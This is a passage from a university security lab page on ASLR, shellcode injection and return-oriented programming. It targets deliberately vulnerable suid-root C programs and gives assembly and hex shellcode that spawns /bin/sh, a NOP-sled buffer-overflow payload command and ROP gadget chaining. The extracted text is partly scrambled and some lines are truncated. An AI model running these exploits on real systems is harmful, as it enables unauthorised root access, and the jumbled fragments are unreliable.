Objectives

Exploit mitigation

Lab 07 - Operating System Security

Linux Protection Mechanisms (ASLR)

Return-oriented programming (ROPs)

```
Recent changes Nogin
```

```
Search
Lectures
Lecture 01 - Introduction
```

- Lecture 02 Cryptography Lecture 03 - Hardware Security Lecture 04 - Access Control
- Lecture 05 Authentication and Key Establishment Lecture 06 - Application
- Security Security
- Lecture 07 Operating System Lecture 08 - Network Security
- Lecture 09 Web Security

**Table of Contents** Lab 07 - Operating System Security

## Objectives ASLR Shellcode Injection Summary

Return-oriented

Lecture 10 - Privacy Preserving Technologies Lecture 11 - Forensics Labs kernel Lab 01 - Introduction Lab 02 - Cryptography Lab 03 - Authentication and Key Establishment Lab Lab 03 - Hardware Security Lab 04 - Access control Lab 05 - Authentication in Linux Lab 06 - Application Security Lab 07 - Operating System Security Lab 08 - Network Security Lab 09 - Web Security Lab 10 - Forensics Lab 11 - Privacy Technologies Lab 12 - Security and Machine Learning Support Useful resources Virtual Machine programming (ROP) • 11. [10p] Feedback

**ASLR** Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries. In short, when ASLR is turned on, the addresses of the stack, etc will be randomized. This causes a lot of difficulty in predicting addresses while exploiting. To disable ASLR: \$ echo 0 | sudo tee /proc/sys/kernel/randomize\_va\_space To enable ASLR: \$ echo 2 | sudo tee /proc/sys/kernel/randomize\_va\_space Shellcode Injection Scenario: You have access to a system with an executable binary that is owned by root, has the suid bit set, and is vulnerable to buffer overflow. This section will show you step by step how to exploit it to gain shell access. 00. Setup Install again libc6-dev-i386 + gcc-multilib packages: \$ sudo apt install libc6-dev-i386 gcc-multilib Also install the PwnDbg plugin: git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh Create vuln.c in the home directory for student user, containing the following code: #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> void func(char \*name) char buf[100]; strcpy(buf, name); printf("Welcome %s\n", buf); int main(int argc, char \*argv[]) setreuid(geteuid(), geteuid()); func(argv[1]); return 0; Compile it: \$ gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack \* -fno-stack-protector - disable the stack protection \* -m32 - make sure that the compiled binary is 32 bit \* -z execstack - makes the stack executable

Set the suid bit and owner to root: \$ **sudo chown** root:root vuln \$ sudo chmod 555 vuln \$ sudo chmod u+s vuln Turn off ASLR and remain as student. 01. Finding a vulnerability Disassemble using objdump in order to analyze the program: \$ objdump -d -M intel vuln Looking at the disassembly of func, it can be observed that buf lies at ebp - 0x6c. Hence, 108 bytes are allocated for buf in the stack, the next 4 bytes would be the saved ebp pointer of the previous stack frame, and the next 4 bytes will be the return address. What happens if the program receives as argument a buffer containing 116 As? \$ ./vuln \$(python3 -c 'print (116 \* "A")') Use gdb to discover the address where the program is crashing. What do you observe? Why is this

We will create a shellcode that spawns a shell. First create shellcode. S with the following code: BITS 32 ;Clearing eax register eax, eax ;Pushing NULL bytes eax push 0x68732f2f ;Pushing //sh

happening?

**02. Crafting Shellcode** 

0x6e69622f ;Pushing /bin ;ebx now has address of /bin//sh ebx, esp ;Pushing NULL byte eax push ;edx now has address of NULL byte edx, esp ;Pushing address of /bin//sh ebx ;ecx now has address of address ecx, esp ;of /bin//sh byte ;syscall number of execve is 11 al, 11 ;Make the system call int 0x80 Install nasm and compile shellcode using it: # skip the ELF headers with `-f bin` # this is \_exactly\_ the payload that you want \$ nasm -f bin -o shellcode.o shellcode.S Verify with objdump that we got the right payload.

\$ objdump -b binary -m i386 -M intel -D shellcode.o

times the binary is run, the address of buf will not change.

Extracting the bytes gives us the shellcode:

will later demonstrate how to take care of it.

problem of not knowing the address of buf exactly.

Final payload structure:

# whoami

address for function func.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x8 **03.** Finding a possible place to inject shellcode In this example buf seems to be the perfect place to inject the shellcode above. We can insert the shellcode by passing it inside the first parameter while running vuln. But how do we know what address buf will be loaded in stack? That's where gdb will help us. As ASLR is disabled we are sure that no matter how many

Run vuln using gdb: vampire@linux:/home/student\$ gdb -q vuln Reading symbols from vuln...(no debugging symbols found)...done. (gdb) break func Breakpoint 1 at 0x8048456

(gdb) run \$(python3 -c 'print ("A"\*116)') Starting program: /home/student/vuln \$(python3 -c 'print ("A"\*116)') Breakpoint 1, 0x08048456 in func () (gdb) print \$ebp \$1 = (void \*) 0xffffce78(gdb) print \$ebp - 0x6c \$2 = (void \*) 0xffffce0cThe above commands set a breakpoint at the func function and the start the binary with a payload of length 116 (note: this is not the real offset of the saved EIP register, you'll need to find it on your own!) as the argument. Printing the address ebp - 0x6c shows that buf was located at 0xffffce0c. However this need not be the address of buf when we run the program outside of gdb. This is because things like environment variables and the name of the program along with arguments are also pushed on the stack. Although the stack starts at the same address (because of ASLR disabled), the difference in the method of running the

pushed on the stack (it is part of the arguments). In this example, we are using one of length 116, you'll need to preserve the offset of the saved EIP register you found earlier. 04. Transfering execution flow of the program to the inserted shellcode This is the easiest part. We have the shellcode in memory and know its address (with an error of a few

bytes). We have already found out that vuln is vulnerable to buffer overflow and we can modify the return

program will result in the difference of the address of buf. This difference will be around a few bytes, but we

Note: The length of the payload will have an effect on the location of buf as the payload itself is also

05. Crafting payload

Let's insert the shellcode at the end of the argument string so its address is equal to the address of buf + some length. Here's our shellcode: 

Length of shellcode = 25 bytes We also discovered that return address starts after the first 112 bytes of buf. We'll fill the first 40 bytes with NOP instructions, constructing a NOP Sled.

NOP Sled is a sequence of NOP (no-operation) instructions meant to "slide" the CPU's instruction execution flow to its final, desired, destination whenever the program branches to a memory address anywhere on the sled. Basically, whenever the CPU sees a NOP instruction, it slides down to the next instruction. The reason for inserting a NOP sled before the shellcode is that now we can transfer execution flow to

anyplace within these 40 bytes. The processor will keep on executing the NOP instructions until it finds the

shellcode. We need not know the exact address of the shellcode. This takes care of the earlier mentioned

We will make the processor jump to the address of buf (taken from gdb's output) + 20 bytes to get somewhere in the middle of the NOP sled. 0xffffce0c + 20 = 0xffffce20We can fill the rest 47 (112 - 25 - 40) bytes with random data, say the 'A' character.

06. Running the exploit \$ ./vuln \$(python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"\*40 + b"\x31\xc0\x50\x68\x2f\x2f\ 

[40 bytes of NOP - sled] [25 bytes of shellcode] [47 times 'A' will occupy 49 bytes] [4 bytes point

root Congratulations! You've got root access. In case of segmentation fault, try changing the return address by +- 40 a few times. If it still won't work, the easiest solution is to dump the stack address from the program:

// insert this at the beginning of `func`:

printf("Stack addr: %04X\n", &buf);

the script.

calculate the relevant address offsets. 07. What if we enable ASLR? Try to enable ASLR and re-run the exploit. What happens? **08.** [Bonus] Pwntools scripts If you want have a cleaner way to exploit binaries you can use a python script with pwntools package.

See on this link how to install pwntools package (be patient, the installation might take some minutes :)

Here is a sample solution you can complete to get to the same result as above. You will need to disable

For the exploit to work, you will need to set root permissions as before, after you compiled

Note that this trick may seem artificial but, in real-world exploits, if the attacker can

convince the program to print its stack (e.g., from an error handler), then he can easily

Summary To summarize, we overflowed the buffer and modified the return address to point near the start of the buffer in the stack. The buffer itself started with a NOP sled followed by shellcode which got executed. The atack was successful only with ASLR turned off, as the start of the stack wasn't randomized each time the program was

Return-oriented programming (ROP)

**09.** Chaining functions

#include <stdio.h>

We got the following vulerable code:

the stack.

0x0804926c : adc byte ptr [eax - 0x3603a275], dl ; ret

running:

11. [10p] Feedback

Old revisions

Please take a minute to fill in the feedback form for this lab.

ASLR again.

For python2: 🖍

And for python3: **ょ** 

void surprise(int b){ **if** (b == 0x87654321) { puts("SURPRISE\n"); system("/bin/sh"); } else { puts("Surprise found, but the arg is not the right one!");

executed. This enabled us to first run the program in gdb to know the address of buffer.

void secret(int a){ if (a == 0x12345678)puts("Nice! Now, can you find the surprise?\n"); } else { puts("Secret accessed, but the arg is not the right one!"); void run(){ char buf[32]; printf("Tell me your name: "); fflush(stdout); fgets(buf, 128, stdin); printf("Hello, %s\n", buf); int main(){ run(); return 0; And to compile it we use: \$ gcc rop.c -o vuln32 -fno-stack-protector -m32 -g -no-pie What we want to achieve is to call the secret() function first and then the surprise() function in a way that they don't interfere with each other. The problem is that these functions require some arguments. So how can we do it, given that the stack is full of other garbage? We use ROPs. In order to chain multiple function calls we need to arrange the stack to be fit for our next function. For this we need to artificially clean the stack. We can do this by searching for a useful set of instruction pointers with ROPgadget (we'll get to that later). In our particular example, we suppose we accessed the secret function and we want to jump to the next one so we need to eliminate the argument of the secret function from the top of

\$ ROPgadget --binary vuln32 Gadgets information \_\_\_\_\_\_\_ 0x0804917a : adc al, 0x68 ; sub al, 0xc0 ; add al, 8 ; call eax 0x080491c6 : adc byte ptr [eax + 0x68], dl ; sub al, 0xc0 ; add al, 8 ; call edx

In other words we need to pop the arg and then jump to the next function. We can search for a "pop <?

any>; ret" set of instructions. This is called a ROP gadget (install the package on VM using this 📦 link -

note: skip python3-pip installation as it is already installed). We can find what is available in our program

0x0804926f : pop ebp ; cld ; leave ; ret 0x080493c3 : pop ebp ; ret <=== //we look for sets like this</pre> 0x080493c0 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x08049022 : pop ebx ; ret <=== //or like this 0x080493c2 : pop edi ; pop ebp ; ret 0x080493c1 : pop esi ; pop edi ; pop ebp ; ret This (code pointer to) rop gadget needs to be placed in the return address of the previous function (because it is executable) so that it cleans or place the arguments and finally jump to the next piece. In this way we can consider our payload as a chain containing: <padding until first return addr> + <chain> + <chain> + ... And a chain piece would look like: <address\_of\_function> + <ROP gadget> + <arg> + <arg> ...

Be careful not to close stdin, it will be required to input commands inside the exploited /bin/sh (called by surprise' ')! You can keep the input open after also sending stdin from python by using the following cat" + shell redirection trick: cat <(python3 -c 'print("your exploit...")') - | ./vuln</pre>

Again, the goal of ROP should be clean the stack and the 'ret' should drop on the adress of

the next chain piece or next code pointer that we want to access. This is called a ROP chain.

Here is a pwn script to help you with this! (use python3) **▶** 10. [Bonus] same as above but for 64 bit binary Recompile rop.c prog: \$ gcc rop.c -o vuln64 -fno-stack-protector -no-pie And here is the script to help you:

> isc/labs/07.txt · Last modified: 2023/11/22 09:26 by alexandru.ghita2611 Media Manager Back to top

(CC) BY-SA CHIMERIC DE WSC OSS DOKUWIKI OS GETFIREFOX RSS XML FEED WSC XHTML 1.0